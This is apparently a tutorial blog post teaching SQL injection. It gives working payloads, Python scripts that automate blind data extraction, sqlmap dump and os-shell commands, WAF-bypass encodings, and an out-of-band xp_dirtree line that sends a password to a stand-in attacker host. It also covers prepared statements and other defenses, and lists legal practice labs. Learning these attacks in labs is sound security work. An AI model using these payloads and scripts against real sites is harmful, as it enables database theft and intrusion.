65. Mastering SQL Injection: An Essential Web Hacking Skill
TL;DR: SQL Injection remains one of the most dangerous web vulnerabilities. This practical guide covers everything from the basics to Blind SQLi, time-based attacks, and sqlmap.
What is SQL Injection?
A vulnerability in which user input is inserted directly into an SQL query, allowing an attacker to manipulate the database.
Even in 2024, Injection remains near the top of the OWASP Top 10. Why? There is a lot of legacy code, and developers still make mistakes.
Simple example
// Vulnerable login code
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
echo "Login successful!";
}
Normal input:
SELECT * FROM users WHERE username='admin' AND password='password123'
Attack input:
Username: admin' --
Password: (anything)
SELECT * FROM users WHERE username='admin' -- ' AND password='anything'
^^^^
Commented out!
→ Password check bypassed! 🚨
SQLi types
1. In-Band SQLi (results are immediately visible)
Error-based SQLi
Extract information from error messages:
' UNION SELECT 1, version(), database() --
Output:
Error: MySQL version 8.0.32-ubuntu, Database: shop_db
Union-based SQLi
Retrieve additional data with UNION:
' UNION SELECT null, username, password FROM admin_users --
2. Inferential SQLi (results are hidden — Blind)
Boolean-based Blind SQLi
Extract data from true/false responses:
-- Is the first letter of the database name 's'?
' AND SUBSTRING(database(),1,1)='s' --
-- If true: normal page
-- If false: error or different page
Time-based Blind SQLi
Distinguish true from false through a time delay:
' AND IF(SUBSTRING(database(),1,1)='s', SLEEP(5), 0) --
-- If true: wait 5 seconds
-- If false: respond immediately
3. Out-of-Band SQLi
Exfiltrate data through DNS/HTTP requests (advanced):
'; EXEC xp_dirtree '\\attacker.com\' + (SELECT password FROM users WHERE id=1) + '.leak.com\share' --
Practical scenario #1: Union-based SQLi
Target analysis
Vulnerable page:
https://victim.com/product.php?id=5
Assumed original query:
SELECT name, price, description FROM products WHERE id=5
Step 1: Confirm the vulnerability
?id=5'
→ SQL error? → Vulnerable!
?id=5 AND 1=1
→ Normal page
?id=5 AND 1=2
→ Different page / error → Boolean SQLi may be possible
Step 2: Determine the number of columns
?id=5 ORDER BY 1 -- ✅ Normal
?id=5 ORDER BY 2 -- ✅ Normal
?id=5 ORDER BY 3 -- ✅ Normal
?id=5 ORDER BY 4 -- ❌ Error!
→ Confirmed 3 columns
Step 3: Find the UNION injection positions
?id=5 UNION SELECT null, null, null --
Check where null appears on the page → the second and third columns are rendered.
Step 4: Extract data
Database information:
?id=5 UNION SELECT null, database(), version() --
Output:
Name: shop_db
Price: MySQL 8.0.32
Table list:
?id=5 UNION SELECT null, table_name, null FROM information_schema.tables WHERE table_schema=database() --
Output:
products
users
admin_panel
orders
Columns in the users table:
?id=5 UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name='users' --
Output:
id
username
password
email
Extract user data:
?id=5 UNION SELECT null, username, password FROM users --
Output:
admin | 5f4dcc3b5aa765d61d8327deb882cf99 (MD5: password)
john | 098f6bcd4621d373cade4e832627b4f6 (MD5: test)
Step 5: Crack or use it
# Crack the MD5 hash
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# Or use an online service: https://crackstation.net/
Practical scenario #2: Blind SQLi (Boolean)
Situation
An SQL injection is attempted on a login page, but no error message is visible.
Username: admin
Password: anything
→ "Invalid credentials" (always the same message)
However, with the following injections:
Username: admin' AND '1'='1
→ "Invalid credentials" (normal)
Username: admin' AND '1'='2
→ Slightly different response (or timing difference)
→ Boolean Blind SQLi may be possible!
Automation script (Python)
import requests
import string
url = "https://victim.com/login.php"
chars = string.ascii_letters + string.digits + '_'
# Extract the database name
db_name = ""
for pos in range(1, 20): # Up to 19 characters
for char in chars:
payload = f"admin' AND SUBSTRING(database(),{pos},1)='{char}' -- "
data = {"username": payload, "password": "x"}
response = requests.post(url, data=data)
# Distinguish true/false by the length of "Invalid credentials"
if len(response.text) == 1234: # Response length when true
db_name += char
print(f"[+] Database: {db_name}")
break
else:
break # No more characters
print(f"[!] Final database name: {db_name}")
Time-based version
import requests
import time
def check_char(pos, char):
payload = f"admin' AND IF(SUBSTRING(database(),{pos},1)='{char}',SLEEP(3),0) -- "
data = {"username": payload, "password": "x"}
start = time.time()
requests.post("https://victim.com/login.php", data=data, timeout=10)
elapsed = time.time() - start
return elapsed > 2.5 # True when SLEEP is 3 seconds
db_name = ""
for pos in range(1, 20):
for char in string.ascii_lowercase + string.digits + '_':
if check_char(pos, char):
db_name += char
print(f"[+] Found: {db_name}")
break
else:
break
print(f"[!] Database: {db_name}")
sqlmap: the standard for automation
Basic usage
# Scan a GET parameter
sqlmap -u "https://victim.com/product.php?id=5"
# Scan POST data
sqlmap -u "https://victim.com/login.php" --data="username=admin&password=test"
# Include a cookie
sqlmap -u "https://victim.com/profile.php" --cookie="PHPSESSID=abc123"
# Test only a specific parameter
sqlmap -u "https://victim.com/search.php?q=test&category=books" -p q
Data extraction
# List databases
sqlmap -u "..." --dbs
# Tables in a specific database
sqlmap -u "..." -D shop_db --tables
# Columns in a specific table
sqlmap -u "..." -D shop_db -T users --columns
# Dump data
sqlmap -u "..." -D shop_db -T users -C username,password --dump
# Dump everything (dangerous 🔥)
sqlmap -u "..." --dump-all
Advanced options
# Force Blind SQLi
sqlmap -u "..." --technique=B # Boolean-based only
sqlmap -u "..." --technique=T # Time-based only
# Specify the DBMS (improves speed)
sqlmap -u "..." --dbms=MySQL
# Use a proxy (Burp Suite)
sqlmap -u "..." --proxy=http://127.0.0.1:8080
# Disguise the User-Agent
sqlmap -u "..." --random-agent
# Bypass a WAF
sqlmap -u "..." --tamper=space2comment
# Obtain an OS shell (when file upload is possible)
sqlmap -u "..." --os-shell
Burp Suite integration
- Capture the request in Burp
- Right-click → "Copy to file" → save it as
request.txt - Run sqlmap:
sqlmap -r request.txt --batch --level=5 --risk=3
Defenses
1. Prepared Statements (safest)
PHP (PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
$user = $stmt->fetch();
Python (psycopg2):
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",
(username, password))
Node.js (mysql2):
connection.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password],
(err, results) => { /* ... */ }
);
2. Use an ORM
Django:
User.objects.filter(username=username, password=password)
SQLAlchemy:
session.query(User).filter_by(username=username, password=password).first()
3. Input validation (additional defense)
// Allowlist approach
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
die("Invalid username");
}
// Type validation
$id = (int)$_GET['id']; // Force conversion to an integer
4. Principle of least privilege
-- The web application's database account gets only read/write access
GRANT SELECT, INSERT, UPDATE ON shop_db.* TO 'webapp'@'localhost';
-- Remove dangerous privileges such as DROP and CREATE
REVOKE ALL PRIVILEGES ON *.* FROM 'webapp'@'localhost';
5. WAF (Web Application Firewall)
- ModSecurity (open source)
- Cloudflare WAF
- AWS WAF
Example WAF rule:
SecRule ARGS "@detectSQLi" "id:1,deny,status:403,msg:'SQL Injection Attempt'"
Advanced techniques
1. WAF bypass — encoding
-- URL encoding
' OR '1'='1 → %27%20OR%20%271%27%3D%271
-- Double URL encoding
' OR '1'='1 → %2527%2520OR%2520%25271%2527%253D%25271
-- Unicode
' OR '1'='1 → \u0027 OR \u0027\u0031\u0027=\u0027\u0031
2. WAF bypass — obfuscation
-- Insert comments
'/**/OR/**/1=1
-- Mix letter case
' oR '1'='1
-- Replace spaces
'OR'1'='1 (no spaces)
'+OR+'1'='1 (+ = space)
'/**/OR/**/1=1 (comment = space)
3. Second-Order SQLi
The first input is only stored and executes when it is used later:
// Registration
$username = mysqli_real_escape_string($conn, $_POST['username']);
mysqli_query($conn, "INSERT INTO users (username) VALUES ('$username')");
// Later, on the profile page...
$user = mysqli_query($conn, "SELECT * FROM users WHERE id=1");
$username = $user['username']; // Used as-is without escaping!
$stats = mysqli_query($conn, "SELECT * FROM stats WHERE username='$username'");
Attack:
Username during registration: admin' OR '1'='1
→ Stored in the database: admin' OR '1'='1
→ Profile lookup: SELECT * FROM stats WHERE username='admin' OR '1'='1'
4. NoSQL Injection (MongoDB)
// Vulnerable code
db.users.find({ username: req.body.username, password: req.body.password })
// Attack payload (JSON)
{
"username": {"$ne": null},
"password": {"$ne": null}
}
// Executed query
db.users.find({ username: {$ne: null}, password: {$ne: null} })
// → Returns every user!
Defense:
// Type validation
if (typeof req.body.username !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}
// Or reject objects
const username = String(req.body.username);
const password = String(req.body.password);
Practical exercises
Legal practice platforms
| Platform | Difficulty | Description |
|---|---|---|
| PortSwigger Web Security Academy | Beginner–Advanced | Free labs from the creators of Burp Suite |
| DVWA (Damn Vulnerable Web App) | Beginner–Intermediate | Local installation, PHP-based |
| bWAPP | Intermediate | Contains 100+ vulnerabilities |
| SQLi Labs | Beginner–Advanced | 75 levels dedicated to SQLi |
| HackTheBox | Intermediate–Advanced | Practical machines, paid |
| TryHackMe | Beginner–Intermediate | Guided learning paths |
Build a local lab
# Install DVWA (Docker)
git clone https://github.com/digininja/DVWA.git
cd DVWA
docker-compose up -d
# Open: http://localhost
# Default credentials: admin / password
Practice sequence:
- Low security → learn basic SQL Injection
- Medium security → practice bypassing filters
- High security → master Blind SQLi and time-based techniques
- Impossible → study secure code
Checklist
🔍 Finding vulnerabilities
- Does entering
',", or;cause an error? - Do
1' AND '1'='1and1' AND '1'='2produce different responses? - Does entering
1' OR '1'='1return more results? - Does behavior change after type conversion (number → string)?
🎯 Proceeding with the attack
- Determine the number of columns (
ORDER BY) - Find the UNION injection positions
- Collect database information (
information_schema) - Enumerate tables and columns
- Extract data
- Attempt privilege escalation (
FILE,SUPERprivileges)
🛡️ Defense checklist for developers
- Are Prepared Statements used?
- Is an ORM used safely?
- Is input validated with an allowlist?
- Does the database account have least privilege?
- Are error messages hidden?
- Is a WAF applied?
- Are logging and monitoring in place?
Closing thoughts
SQL Injection remains a live threat in 2026.
From an attacker's perspective:
- The highest ROI (return on investment)
- Abundant automation tools (sqlmap, Havij, jSQL)
- High scores in CTFs and bug bounties
From a developer's perspective:
- Prepared Statements alone prevent 99%
- But legacy code, complex queries, and NoSQL remain dangerous
- "My code is safe" → the most dangerous thought
Next learning path:
- Clear the entire DVWA SQLi section (Low → Impossible)
- Complete every SQLi lab in PortSwigger Academy
- Solve three SQLi-tagged machines on HackTheBox
- Try a real bug-bounty program
Queries are code. Code must be validated. 💉
Next article: "Mastering XSS: From DOM to Blind XSS"